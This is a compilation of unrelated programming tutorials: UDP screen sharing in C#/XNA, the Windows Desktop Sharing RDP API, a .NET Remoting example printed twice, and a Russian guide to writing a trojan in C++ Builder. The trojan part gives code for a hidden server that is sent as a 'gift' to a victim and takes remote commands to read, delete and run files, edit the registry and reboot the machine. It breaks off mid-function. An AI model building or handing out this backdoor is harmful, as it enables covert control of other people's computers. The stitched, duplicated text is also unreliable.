Как написать программу для удаленного доступа

Время на прочтение
4 мин

Количество просмотров 48K

Привет, я покажу, как написать Remote — Desktop клиент, используя C# + XNA

На написание этой статьи меня вдохновил вот этот топик

Немного от себя

Я очень долго ждал второй части той статьи, но так и не дождался. Как утверждал автор, во второй статье должна была быть реализация передачи изображения по протоколу UDP на удалённый клиент. После я пытался сам реализовать второю часть статьи, но всегда выходило плохо. Из — за медленного рисования GDI — программа просто зависала на компьютере Core 2 Duo 2.66 GHz, Nvidia GeForce 9600 GT. Я использовал разные алгоритмы оптимизации, но это слабо помогало и тогда я решил использовать XNA.

Выбор протокола передачи

Очень сильно хотелось выбрать протокол передачи TCP, с ним меньше проблем, но я выбрал UDP, потомучто все говорят, что для таких дел лучше его брать бла бла бла… Вам наверное интересно почему с UDP больше проблем? Ответ прост- UDP сообщение не может превысить размер в 65 507 байт, что очень не удобно. Наши пакеты составляют в среднем размер 130 000 байт (для экрана размером 1366×768), при попытке отправить такой пакет возникает ошибка, как показано ниже.

Решить эту проблему можно двумя путями:
1) Создать костыль
2) Создать структуру

1) Так как я ленивый, выбрал костыль. Костыль заключается в том, чтобы разбивать более большое сообщение на множество маленьких и в первом сообщении писать количество кусков которое будет отправляться. Костылём я назвал, потомучто, потеряв первое сообщение, программа

полетит к чертям

не сможет нормально склеить изображение (она не будет знать на сколько частей разбито изображение).

2) Можно разбивать экран на множество кусочков и запоминать их координаты. Всё это надо будет хранить в структуре, что очень удобно, кстати, этот алгоритм поможет в будущем сделать оптимизацию.

Практика

Начну с простого. С отправителя. Отправлять мы будем скриншоты нашего экрана на удалённый компьютер. Я написал функцию для загрузки данных и инициализации некоторых переменных.

Точкой запуска будет наша функция Run()

  public void Run()
        {
            Load(); // Загружаем данные и получаем размер экрана

            udpClient = new UdpClient();
            Bitmap BackGround = new Bitmap(width, height);
            Graphics graphics = Graphics.FromImage(BackGround);            

            while (true)
            {
                // Получаем снимок экрана
                graphics.CopyFromScreen(0, 0, 0, 0, new Size(width, height)); 
  
                // Получаем изображение в виде массива байтов
                byte [] bytes = ConvertToByte(BackGround);                      
                List<byte[]> lst = CutMsg(bytes);
                for (int i = 0; i < lst.Count; i++)
                {
                    // Отправляем картинку клиенту
                    udpClient.Send(lst[i], lst[i].Length, ipEndPoint);              
                }
            }
        }

Сначала загружаются данные Load(), после происходит объявление переменных и зацикливание. В цикле мы получаем изображение экрана, конвертируем в массив байтов, используем мой костыль (разбиение сообщения на несколько под сообщений — CutMsg(bytes)), отправляем все пакеты.

В функции Load() ничего интересного не происходит.
Из файла ip.txt будут считываться две строки. Первая строка — IP адрес на который нужно отсылать данные. Вторая строка — Порт, на который будет происходить отсылка. Также там будет происходить получение длины и ширины экрана.

Функция конвертирования

private byte [] ConvertToByte(Bitmap bmp)
        {
            MemoryStream memoryStream = new MemoryStream();
            // Конвертируем в массив байтов с сжатием Jpeg
            bmp.Save(memoryStream, System.Drawing.Imaging.ImageFormat.Jpeg);
            return memoryStream.ToArray();
        }

И самое интересное — реализация костыля.

private List<byte[]> CutMsg(byte[] bt)
        {            
            int Lenght = bt.Length;
            byte[] temp;
            List<byte[]> msg = new List<byte[]>();

            MemoryStream memoryStream = new MemoryStream();
            // Записываем в первые 2 байта количество пакетов
            memoryStream.Write(
                      BitConverter.GetBytes((short)((Lenght / 65500) + 1)), 0, 2);
            // Далее записываем первый пакет
            memoryStream.Write(bt, 0, bt.Length);

            memoryStream.Position = 0;
            // Пока все пакеты не разделили - делим КЭП
            while (Lenght > 0)
            {
                temp = new byte[65500];
                memoryStream.Read(temp, 0, 65500);
                msg.Add(temp);
                Lenght -= 65500;                
            }

            return msg;
        }

Я делю данные по блокам 65500 (число взял меньше, чтобы явно попасть) и записываю их в лист массивов байтов, после я возвращаю этот лист.

Код получателя

С получателем всё сложнее, я там использовал делегаты и события для асинхронной работы и утомлять вас кодом не хочу, что так напишу основное.

Асинхронное получение данных.

int countErorr = 0;
        private void AsyncReceiver()
        {
            IPEndPoint ep = new IPEndPoint(IPAddress.Loopback, 0);

            while (true)
            {
                try
                {
                    MemoryStream memoryStream = new MemoryStream();
                    byte[] bytes = udpClient.Receive(ref ep);
                    memoryStream.Write(bytes, 2, bytes.Length - 2);

                    int countMsg = bytes[0] - 1;
                    if (countMsg > 10)
                        throw new Exception("Потеря первого пакета");
                    for (int i = 0; i < countMsg; i++)
                    {
                        byte[] bt = udpClient.Receive(ref ep);
                        memoryStream.Write(bt, 0, bt.Length);
                    }

                    GetData(memoryStream.ToArray());
                    memoryStream.Close();
                }
                catch
                {
                    countErorr++;                    
                }
            }
        }

Снова видим зацикливание, далее получаем первый пакет, с него считываем первый байт (в этом байте записано количество будущих сообщений), если длина сообщения больше 10, то первый пакет мы явно потеряли, следовательно прибавим счётчик потерь, иначе получаем все сообщения — склеиваем в одно и вызываем событие GetData(byte []).

В GetData(byte[]) мы получаем Texture2D, конвертируя её из массива байтов.

private void Receive_GetData(byte[] Date)
        {
            BackGround = ConvertToTexture2D(Date);
        }

private Texture2D ConvertToTexture2D(byte[] bytes)
        {
            MemoryStream memoryStream = new MemoryStream(bytes);

            System.Drawing.Bitmap bmp  = 
                (System.Drawing.Bitmap)System.Drawing.Bitmap.FromStream(memoryStream);                        
            // Конвертируем картинку в .png, потомучто Texture2D ест только его
            memoryStream = new MemoryStream();
            bmp.Save(memoryStream, System.Drawing.Imaging.ImageFormat.Png);
            // Получаем из потока Texture2D
            return Texture2D.FromStream(GraphicsDevice, memoryStream);
        }

Весь проект вы сможете скачать в конце статьи, что так не отчаивайтесь если что — то я не написал.

Итоги и вывод

В итоге при одновременном запуске «отправителя» и «получателя» на своём компьютере происходит рекурсия и огромное количество потерь (30 — 90 потерь), при запуске «отправителя» на моём компьютере, а на компьютере родителей «получателя», потерь минимум (10 — 15 потерь). Оба компьютера (родителей и мой) соединены в одну Wi-Fi сеть с каналом 54 Мбит/с. Есть пинг (около 250 мс.) — напоминает по пингу TeamViewer. Если добавить оптимизацию и заменить костыль, то получится отличная программа для передачи изображения.

Рекурсия

Компьютер родителей (передача изображения с моего компьютера на их)

Как выглядит потеря

В следующей статье я доделаю программу, а точнее добавлю возможность удалённого управления и возможно ещё оптимизирую её.

Скачать проект
Скачать Receiver (Получает изображения)
Скачать Sender (Отправляет изображения)

P.S. Перезалил исходный код на гитхаб github.com/Luchanso/remote-desktop

Скачать исходный код можно по ссылке:

https://bitbucket.org/sergey_vaulin/remotedesktopterminalservice/src

Если у вас когда либо вставал вопрос о том, как реализовать в вашем приложении демонстрацию удаленного рабочего стола другого клиента, то скорее всего вам известны описанные ниже варианта:

  1. Делать скриншот на одной стороне, затем пересылать на сторону получателя и отображать на форме.
  2. Найти C# обёртки и реализации работы с VNC протоколом, который используется в opensource проекте UltraVNC
  3. Использование Windows Desktop Sharing в вашем приложении.

Сразу оговорюсь, что тут рассматривается схема, при которой запуск и остановку серверной части и демонстрация на другой стороне, осуществляется в прикладном коде нашего приложения.

(Пункт 1)
Использование скриншотов является самой простой в реализации, но достаточно трудоемкой операцией. Найденные примеры захвата снимка экрана и его обработка будет намного «тяжелее», чем используя обычный терминал удаленного рабочего стола. Попробуйте в Realtime поделать хотя бы 10 скриншотов и заметите, что ваше приложение будет активно отбирать ресурсы CPU. Да, сейчас компьютеры достаточно мощные и ваш компьютер может это не чувствовать, но клиенты могу сидеть и на Athlon II, имея загрузку в 30% процессорного времени, что неприемлемо. Выходом может стать нарезка скриншотов используя видео захват с дисплея через DirectX, но решения для copy+paste у меня нет.

(Пункт 2)
UltraVNC достаточно известное кросс платформенное приложение для демонстрации и управлением экраном. Находил обертки для .NET, поэтому, если все плохо, то можно посмотреть в эту сторону. Как мне известно, принцип работы VNC основан на захвате скриншотов клиента, и для того, что бы производить видео захват с дисплея, они используют свой драйвер, аккуратно подгружаемый при демонстрации. При этом сам драйвер идёт как отдельный устанавливаемый пакет и может быть скачан отдельно (искать UltraVNC Driver).

(Пункт 3)
Ну и наконец самый, но мой взгляд, простой способ реализовать демонстрацию удаленного экрана это использование нативного API под названием Windows Desktop Sharing (RDP). Используется стандартный механизм терминала удаленного рабочего стола, но в отличии от обычного подключения, удаленный компьютер не блокируется, как при терминале, и вы можете как в Teamviewer пользоваться одной мышкой и видеть экран одновременно. Далее я перечислю возможности, доступные при работе с Windows Desktop Sharing в формате плюсы и минусы:

Плюсы:

  • Демонстрацию удаленного экрана пользователя.
  • Подключение больше одного человека (код примера надо немного доработать).
  • Можно настраивать уровень взаимодействия для каждого подключающегося человека. Допустим одному дать полный доступ к управление, другому только для просмотра. За это отвечает CTRL_LEVEL выбор уровня. 
  • Мы можем в любой момент отключить пользователя, или приостановить показ.
  • Самой интересной особенностью считаю возможность «Фильтрации списка окон». Таким образом мы можем дать возможность видеть только то, что мы хотим показать, скрывая остальные окна.
  • Можно обеспечивать как прямое подключение клиента к серверу, так и сервера к клиенту. Тем самым можно решить проблему с NAT, инициируя подключение с другой стороны подсети.
  • Для авторизации можно использовать схему с логином и паролем.
  • Отображение идёт через ActiveX оснастку, которую можно разместить как на WPF, так и на WinForm.
  • Проекты можно без потери функциональности конвертировать под работы с .NET Framework 3.5.

Минусы:

  • Поддержка идет только начиная с Windows Vista.

Демонстрация работы описанного ниже функционала.

Перед тем, как изучать сказанное, логично увидеть результат работы. Поэтому я представлю два варианта подключения:

  1. Показ полного рабочего стола.
  2. Показ только тех окон, которые мы хотим показать. В моем случае я буду показывать только окно приложения

Внимание! Возможен еще вариант отображения определенного статического региона экрана, но я не добавлял этот функционал.

— Полный рабочий стол:

— Отображение конкретного окна:

Как с этом работать?

Всё API у Windows Desktop Sharing находится в библиотеке «C:WindowsSystem32RdpEncom.dll«. Серверный хостинг осуществляется через RDPSession класс:

Для демонстрации стоит использовать IRDPSRAPIViewer, который представляет из себя ActiveX оснастку:

Поэтому, для того, что бы нам извлечь обертку для последующего использования, нам понадобится воспользоваться утилитой Aximp.exe (Windows Forms ActiveX Control Importer), которая извлекает AcitveX обертку (так же мы можем добавлять ActiveX control в Visual Studio Toolbox). К сожалению, сама утилита не входит в комплект поставки Visual Studio, но присутствует в Windows SDKs, поэтому, ради нее, придется поставить SDK. Версия не должна влияет,  поэтому после того как установка завершится, переходите в папку «C:Program Files (x86)Microsoft SDKsWindows» и поиском находите этот файл.

Наконец то можно создать недостающие классы обертки и приступить к работе:

Команда «AxImp.exe C:WindowsSystem32rdpencom.dll» создала два файла:

  1. AxRDPCOMAPILib.dll

  2. RDPCOMAPILib.dll

Которые можно без проблем добавить в ваш проект и начать работу с RDP API.

В AxRDPCOMAPILib.dll содержатся:

  • _IRDPSessionEvents
  • AxRDPViewer

В RDPCOMAPILib.dll содержатся:

  • RDPSession
  • IRDPSRAPIApplication
  • _IRDPSessionEvents
  • IRDPSRAPIApplicationFilter
  • IRDPSRAPIApplicationList
  • IRDPSRAPIAttendee
  • IRDPSRAPIAttendeeDisconnectInfo
  • IRDPSRAPIAttendeeManager
  • IRDPSRAPIInvitation
  • IRDPSRAPIInvitationManager
  • IRDPSRAPISessionProperties
  • IRDPSRAPISharingSession
  • IRDPSRAPITcpConnectionInfo
  • IRDPSRAPIViewer
  • IRDPSRAPIVirtualChannel
  • IRDPSRAPIVirtualChannelManager
  • IRDPSRAPIWindow
  • IRDPSRAPIWindowList
  • А так же ClassInterface для каждого из интерфейсов выше.

Внимание! В этой схеме есть одно НО! Мы обязанный таскать с собой эти два файла, что, на мой взгляд, не очень удобно. А ведь в них содержатся только обертки для работы с Native API. Далее будет описано как избавить от них.


Архитектура модуля.

Теперь я хочу описать сделанный мной пример (ссылка на исходник в начале статьи), в котором я добавил некоторые упрощения для работы в WPF приложениях с шаблоном MVVM. Я постарался максимально отдалить вас от подготовки RDP описанной выше, доведя использование до простого размещения Control на форме и возможности сразу его использовать. А так же, что бы было еще быстрее понять как с ним работать, я разместил пример его использования.

Дерево иерархии:

Про все тонкости использования, и о том что где лежит, я напишу поподробнее:

Проект Rdp.Terminal.Core .

По сути является унифицированной сборкой, которую достаточно поместить в вашем решении.

  • ClientControlsRemoteTerminal.xml — служит для демонстрации удаленного рабочего стола на стороне клиента
  • ServerRdpSessionServer.cs — содержит примитивные методы, для запуска серверной части.
  • WinApi — что бы избавиться от потребности таскать с собой AxRDPCOMAPILib.dll и RDPCOMAPILib.dll я декомпилятором извлек все обертки и разместил их в модуле в папке winapi.
  • WinApiSupportUtils.cs содержит метод проверки поддержки текущей версии Windows на возможность использования RDP

Проект Rdp.Demostration.

Демонстрационный проект, в котором можно узнать как работать с каждым из компонентов.

  • Prism — содержит нужные, для демонстрации использования MVVM шаблона, классы.
  • ViewsMainWindow.xaml — главная View окна, выполняющая как роль серверной так и клиентской стороны.
  • ViewModelsMainWindowViewModel.cs — содержащая всю логику для работы со view MainWindow.xaml
  • Свойство SmartSizing. Если его значение True, тогда удаленный экран будет полностью растянут под размер доступной области. Иначе если False, тогда появятся два бегунка и картинка будет видна полностью, без растягивания.

Внимание! Для работы с RemoteTerminal, содержащим AxRDPViewer, необходимо создать во ViewModel свойство с типом RdpManager и произвести привязку на свойство с таким же названием у RemoteTerminal <controls:RemoteTerminal RdpManager=»{Binding RdpManager}« />. После чего, во ViewModel, через это объект можно управлять терминалом. 

Процесс удаленного подключения.

При запуске сервера настраивается в каком режиме он будет запускать (с фильтрацией окон или без неё). Далее мы создаём так называемое «Приглашение» вызывая метод CreateInvitation. Оно представляет из себя XML, содержащий информацию доступных сетевых интерфейсах сервера, используемый порт для подключений, MAC и идентификатор зашифрованный паролем, который надо ввести клиенту. Вся эта информацию поможет клиентам с подключением, так как вам не потребуется выяснять какой точно интерфейс доступен клиенту. В случае, если сервер закрыт NAT, клиент может выступить в качестве сервера обратно подключения, но при этом демонстрацию будет осуществлять серверный компьютер. В ситуации, когда когда обе стороны разделяет NAT соединение невозможно.
После подключения модуля удаленного управление вам необходимо будет позаботиться о доставке строки подключения между клиентом и сервером.

Внимание! Не все методы имеются в RdpManager, поэтому в зависимости от потребности придётся их пробросить вам самим.

Remoting is a framework built into Common Language Runtime (CLR) in order to provide developers classes to build distributed applications and a wide range of network services. Remoting provides various features such as Object Passing, Proxy Objects, Activation, Stateless and Stateful Object, Lease Based LifeTime, and Hosting of Objects in IIS. I’m not going into detail about these features because it will take 3 to 4 tutorials.

Here I’m presenting a simple client/server-based application in order to provide you easy and fast hands-on Remoting.

Remoting Object

This is the object to be remotely accessed by network applications. The object to be accessed remotely must be derived by MarshalByRefObject and all the objects passed by value must be serializable.

  1. using System;  
  2. using System.Runtime.Remoting;  
  3. using System.Runtime.Remoting.Channels;  
  4. using System.Runtime.Remoting.Channels.Tcp;  
  5. namespace RemotingSamples {  
  6.     public class RemoteObject: MarshalByRefObject {  
  7.           
  8.         public RemoteObject() {  
  9.             Console.writeline(«Remote object activated»);  
  10.         }  
  11.           
  12.         public String ReplyMessage(String msg) {  
  13.             Console.WriteLine(«Client : « + msg);   
  14.             return «Server : Yeah! I’m here»;  
  15.         }  
  16.     }  

The remote object must be compiled as follows to generate remoteobject.dll which is used to generate server and client executable.

csc /t:library /debug /r:System.Runtime.Remoting.dll remoteobject.cs

The Server

This is the server application used to register remote object to be access by client application. First, of all choose channel to use and register it, supported channels are HTTP, TCP and SMTP. I have used here TCP. Than register the remote object specifying its type.

  1. using System;  
  2. using System.Runtime.Remoting;  
  3. using System.Runtime.Remoting.Channels;  
  4. using System.Runtime.Remoting.Channels.Tcp;  
  5. namespace RemotingSamples {  
  6.     public class Server {  
  7.           
  8.         public Server() {}  
  9.           
  10.         public static int Main(string[] args) {  
  11.               
  12.             TcpChannel chan = new TcpChannel(8085);  
  13.             ChannelServices.RegisterChannel(chan);   
  14.               
  15.             RemotingConfiguration.RegisterWellKnownServiceType(Type.GetType(«RemotingSamples.RemoteObject,object»), «RemotingServer», WellKnownObjectMode.SingleCall);  
  16.               
  17.             Console.WriteLine(«Server Activated»);  
  18.             return 0;  
  19.         }  
  20.     }  

The server must be compiled as follows to produce server.exe.

csc /debug /r:remoteobject.dll /r:System.Runtime.Remoting.dll server.cs

The Client

This is the client application and it will call remote object method. First, of all client must select the channel on which the remote object is available, activate the remote object and than call proxy’s object method return by remote object activation.

  1. using System;  
  2. using System.Runtime.Remoting;  
  3. using System.Runtime.Remoting.Channels;  
  4. using System.Runtime.Remoting.Channels.Tcp;  
  5. using RemotingSamples;  
  6. namespace RemotingSamples {  
  7.     public class Client {  
  8.           
  9.         public Client() {}  
  10.           
  11.         public static int Main(string[] args) {  
  12.               
  13.             TcpChannel chan = new TcpChannel();  
  14.             ChannelServices.RegisterChannel(chan);  
  15.             RemoteObject remObject = (RemoteObject) Activator.GetObject(typeof RemotingSamples.RemoteObject), «tcp://localhost:8085/RemotingServer»);  
  16.         if (remObject == null)  
  17.             Console.WriteLine(«cannot locate server»);  
  18.         else  
  19.             remObject.ReplyMessage(«You there?»);  
  20.         return 0;  
  21.     }  

The client must be compiled as follows in order to produce client.exe

csc /debug /r:remoteobject.dll /r:System.Runtime.Remoting.dll client.cs

Remoting is a framework built into Common Language Runtime (CLR) in order to provide developers classes to build distributed applications and a wide range of network services. Remoting provides various features such as Object Passing, Proxy Objects, Activation, Stateless and Stateful Object, Lease Based LifeTime, and Hosting of Objects in IIS. I’m not going into detail about these features because it will take 3 to 4 tutorials.

Here I’m presenting a simple client/server-based application in order to provide you easy and fast hands-on Remoting.

Remoting Object

This is the object to be remotely accessed by network applications. The object to be accessed remotely must be derived by MarshalByRefObject and all the objects passed by value must be serializable.

  1. using System;  
  2. using System.Runtime.Remoting;  
  3. using System.Runtime.Remoting.Channels;  
  4. using System.Runtime.Remoting.Channels.Tcp;  
  5. namespace RemotingSamples {  
  6.     public class RemoteObject: MarshalByRefObject {  
  7.           
  8.         public RemoteObject() {  
  9.             Console.writeline(«Remote object activated»);  
  10.         }  
  11.           
  12.         public String ReplyMessage(String msg) {  
  13.             Console.WriteLine(«Client : « + msg);   
  14.             return «Server : Yeah! I’m here»;  
  15.         }  
  16.     }  

The remote object must be compiled as follows to generate remoteobject.dll which is used to generate server and client executable.

csc /t:library /debug /r:System.Runtime.Remoting.dll remoteobject.cs

The Server

This is the server application used to register remote object to be access by client application. First, of all choose channel to use and register it, supported channels are HTTP, TCP and SMTP. I have used here TCP. Than register the remote object specifying its type.

  1. using System;  
  2. using System.Runtime.Remoting;  
  3. using System.Runtime.Remoting.Channels;  
  4. using System.Runtime.Remoting.Channels.Tcp;  
  5. namespace RemotingSamples {  
  6.     public class Server {  
  7.           
  8.         public Server() {}  
  9.           
  10.         public static int Main(string[] args) {  
  11.               
  12.             TcpChannel chan = new TcpChannel(8085);  
  13.             ChannelServices.RegisterChannel(chan);   
  14.               
  15.             RemotingConfiguration.RegisterWellKnownServiceType(Type.GetType(«RemotingSamples.RemoteObject,object»), «RemotingServer», WellKnownObjectMode.SingleCall);  
  16.               
  17.             Console.WriteLine(«Server Activated»);  
  18.             return 0;  
  19.         }  
  20.     }  

The server must be compiled as follows to produce server.exe.

csc /debug /r:remoteobject.dll /r:System.Runtime.Remoting.dll server.cs

The Client

This is the client application and it will call remote object method. First, of all client must select the channel on which the remote object is available, activate the remote object and than call proxy’s object method return by remote object activation.

  1. using System;  
  2. using System.Runtime.Remoting;  
  3. using System.Runtime.Remoting.Channels;  
  4. using System.Runtime.Remoting.Channels.Tcp;  
  5. using RemotingSamples;  
  6. namespace RemotingSamples {  
  7.     public class Client {  
  8.           
  9.         public Client() {}  
  10.           
  11.         public static int Main(string[] args) {  
  12.               
  13.             TcpChannel chan = new TcpChannel();  
  14.             ChannelServices.RegisterChannel(chan);  
  15.             RemoteObject remObject = (RemoteObject) Activator.GetObject(typeof RemotingSamples.RemoteObject), «tcp://localhost:8085/RemotingServer»);  
  16.         if (remObject == null)  
  17.             Console.WriteLine(«cannot locate server»);  
  18.         else  
  19.             remObject.ReplyMessage(«You there?»);  
  20.         return 0;  
  21.     }  

The client must be compiled as follows in order to produce client.exe

csc /debug /r:remoteobject.dll /r:System.Runtime.Remoting.dll client.cs

Сегодня мы будем учиться писать троянчик. Небольшой, но СВОЙ!
Почему? Конечно-конечно, троянов в сети навалом, но рано или поздно они
=вдруг= начинают определяться антивирусами, приходиться ждать апдейта
етц… Ожидание — самый скучный повод. Не знаю как вы, но я ждать не
люблю, да и использовать чужие трояны это совсем не по-}{аЦкERR’ски.
Короче, пишем свой троян и точка.

После точки, как учили в школе, пишем с большой буквы… Так
вот, о чем я? Писать я буду, как обычно, на своем любимом Builder C++.
Если у вас руки растут не оттуда, откуда у меня ноги, то без проблем все
переделаете под Дельфи, если припрет конечно…

Естественно, наш троян будет состоять из 2х частей =)
Серверной (отправляемой как подарок ламерюге) и клиентской (оставим себе
на память). Надо сказать, что я давно не юзал никакие трояны, так что не
знаю что там сейчас они умеют делать, может уже и коврик под мышкой
научились двигать или корпус компа открывать. Мы же пишем «троянчик»,
поэтому делать он будет только следующее:
1) читать, удалять,
запускать файлы на удаленном компьютере
2) работать с реестром на
удаленном компьютере
3) ну и традиционный набор разных бесполезных
функций, типа открытие CD-ROM’a, смена клавишей мышки etc.

Перекурили и поехали!
Использовать будем стандартные
компоненты TClientSocket и TServerSocket.

Начнем с клиента. Набрасываем простенький интерфейс и
приступаем к реализации. Управлять удаленным компьютером будем с помощью
специальных команд. Для примера пускай структура их будет такая:

Nпараметры. N — цифра. Каждому действию присвоен свой код. Т.е.
например 1 — перезагрузка, 2 — чтение файла и т.д. Главное чтоб было
однозначное соответствие между тем что хотим сделать (команда передаваемая
клиентом) и тем что выполняет программа (обработка команды на сервере). С
этим разобрались. Теперь параметры. Бывает мало передать только номер
команды. Конечно, чтобы перезагрузить компьютер никаких параметров не надо
(хотя можно и здесь передать параметры в функцию перезагрузки), но как
например реализовать удаление файла не передавая параметра? Мы передаем
команду на удаление файла, но какого?! Для этого будем использовать
параметры. В качестве параметра в данном случае будет передаваться имя
файла. Бывает, что мало передать один параметр. Например надо прочитать
n-строчек из file.txt. Здесь необходимо передать 2 параметра. В нашем
примере параметры отделяются друг от друга комбинацией «rn» — перевод
каретки. Объясняется данная структура тем, что в сервере мы сначала
помещаем полученную команду в TStringList и потом можем спокойно
обращаться к любой строчке этого TStringList’а через свойство Strings[i],
где i-номер строчки, а соответственно и номер параметра. В общем, это вещи
достаточно очевидные.

Вот так, вроде бы только начав писать клиентскую часть мы ее
уже почти и закончили! Ведь на самом деле ничего кроме отсылки команд и
приема ответов от сервера она делать и не должна. Для приема ответов
просто создадим поле TMemo и добавим обработчик события OnRead
нашего компонента TClientSocket:

void __fastcall TForm1::TrojControllerRead(TObject *Sender,
      TCustomWinSocket *Socket)
{
Memo2->Lines->Add(Socket->ReceiveText());
}

Вот и все. Клиент законен! Переходим к серверу…

Сервер будет чуть пообъемнее. Вначале определимся с задачами:

1) получение команд
2) их обработка и выполнение соответствующих
действий
3) отсылка ответа клиенту (должны же мы знать что происходит
на сервере)
Реализуем…

Во-первых, никакого визуального оформления естественно не
будет =) Поэтому на форму поместим только 1 компонент:
TServerSocket. Инициализацию его проведем в функции FormCreate().
Хотя можно было бы просто прописать 2 параметра в Object Inspector’е. Но
раз уж сделали, так сделали =)

void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}

Итак, указали порт, активизировали сокет. Теперь обрабатываем
событие ClientRead, т.е. получение данных сокетом. Комментирую на
примере:

void __fastcall TForm1::ServScktClientRead(TObject *Sender,
      TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
				  // информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz;  // создаем объект наших утилит 
Utilz.Sock=ServSckt;	// необходимо для отсылки ответа клиенту, так как сокет у нас
		// находится на форме, а TTrojanUtilites не имеет никакого отношения
		// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); 	// получаем первый символ сообщения - номер команды
cn = StrToInt(temp); 		// преобразуем в число
received.Delete(1,1);		// удаляем код команды - остаются одни параметры
switch (cn) {			// в соответсвии с полученой командой 
				// запускаем соотвествующую утилиту 
case 1 : Utilz.RestartMachine(); break;		// перезагрузка
case 2 : Utilz.WriteRegistry(received); break;  // запись в реестр
case 3 : Utilz.ReadRegistry(received); break;	// чтение реестра
case 4 : Utilz.SendFile(received); break;	// чтение файла
case 5 : Utilz.DeleteFile(received); break;	// удаление файла 
case 6 : Utilz.ExecuteFile(received); break;	// запуск файла 
case 7 : Utilz.OpenCloseCD; break;		// открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break;		// прячем курсор мыши 
case 9 : Utilz.SwapMouseButtons(); break;	// переключаем кнопки мыши 
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
					   // информируем клиента об этом
}
}

Теперь немного подробнее. Мы пишем специальный класс
TTrojanUtilites, в котором реализуем все необходимые функции. В
RecognizeCommand (String Directive) мы только отделяем команду от
параметров и запускаем необходимые методы TTrojanUtilites, передавая по
необходимости в них параметры.

Реализация TTrojanUtilites есть то, чем мы сейчас займемся.
Класс оформим в отдельном модуле, не забудьте подключить его.

Поехали… Во-первых, подключаем #include
<MMSystem.hpp> — необходимо для реализации работы с CD-ROM’ом. Далее
пишем все необходимые методы.

Краткие комментарии на примере:

void TTrojanUtilites::OpenCloseCD()
{
TMCI_Open_Parms OpenParm;
TMCI_Generic_Parms  GenParm;
TMCI_Set_Parms SetParm;
Cardinal DI;
OpenParm.dwCallback = 0;
OpenParm.lpstrDeviceType = "CDAudio";
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));
DI = OpenParm.wDeviceID;
if (!CDROMOPEN)
{
        mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));
        CDROMOPEN = true; // открыть
}
else
{
        mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));
        CDROMOPEN = false; // закрыть
}
mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));
Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM");
}

Перезагрузка:

void TTrojanUtilites::RestartMachine()
{
if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));
        Sock->Socket->Connections[0]->SendText("Перезагрузка успешно выполнена.");
} 

Вот тут я не отвечаю за все ОСи, перезагрузка-то будет, но
хотелось бы сделать ее как после нажатия кнопки RESET, а так будет послано
сообщение WM_…ENDSESSION etc. Короче, пробуйте сами. Могу только
подкинуть основные направления поиска: смотри функции ExitWindows(),
ExitWindowsEx(), InitiateSystemShutdown() и AbortSystemShutdown(). Для
особо продвинутых могу предложить вариант написать надежный ребут под
определенную ось и чипсет =) Например, мой прошлый комп стабильно
резетился (только в Win9x, в NT не работало) следующей вставочкой:

mov dx,0cf9h
mov al,2 
out dx,al
mov al,6
out dx,al

Откуда цифры? Читайте доки по чипсету =) Одним словом,
универсального метода перезагрузить комп без WM_…ENDSESSION я не знаю.
Если вы знаете — напишите пару строк, не в падлу =)

void TTrojanUtilites::SendFile(String F)
{
TStringList* TTSL=new (TStringList);
TStringList* TTSL2=new (TStringList);
int n, i;
TTSL->Text = F;
if (!FileExists(TTSL->Strings[0]))
{
        Sock->Socket->Connections[0]->SendText("Файл не существует.");
        return;
}
TTSL2->LoadFromFile(TTSL->Strings[0]);  // загружаем файл в TStringList
n = TTSL2->Count;			// получаем число строк в файле
if (n > StrToInt(TTSL->Strings[1]))	// если надо прочитать не весь файл
        n = StrToInt(TTSL->Strings[1]);	// считываем только необходимое число строк
for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings[i]); // передаем строки клиенту
}
Вроде тут и объяснять нечего.

void TTrojanUtilites::ReadRegistry(ShortString k)
{
TRegistry* reg=new TRegistry;
String res, ts;
TStringList* TTSL=new TStringList;
HKEY k1;
// параметры передаются в следующем порядке: 
////  0 - root key   
////  1 - key name
////  2 - value name
////  3 - value
////  4 - type of value
TTSL->Text = k;
ts = TTSL->Strings[0];  // выбираем RootKey
if (ts == "HKEY_CLASSES_ROOT")   k1 = HKEY_CLASSES_ROOT;
if (ts == "HKEY_CURRENT_USER")   k1 = HKEY_CURRENT_USER;
if (ts == "HKEY_LOCAL_MACHINE")  k1 = HKEY_LOCAL_MACHINE;
if (ts == "HKEY_USERS")          k1 = HKEY_USERS;
if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;
reg->RootKey = k1;
reg->OpenKey(TTSL->Strings[1], true); // открываем раздел
ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа
if (ts == "Bool")   // двоичный  (REG_BINARY)
        if (reg->ReadBool(TTSL->Strings[2]))
                res = "true";
        else res = "false";
if (ts == "Integer")  //  числовой   (REG_DWORD)
        res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));
if (ts == "String")  // строковый (REG_SZ)
        res = reg->ReadString(TTSL->Strings[2]);
Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res);
// передаем клиенту значение параметра
}

Запись в реестр аналогична, только используется метод
WriteBool(TTSL->Strings[2], false); для записи булевского
значения, WriteInteger(TTSL->Strings[2],
StrToInt(TTSL->Strings[4])); — для числового,
WriteString(TTSL->Strings[2], TTSL->Strings[4]); — для строкового.

Для запуска файлов на удаленном компьютере используем
следующую функцию:

void TTrojanUtilites::ExecuteFile(String f)
{
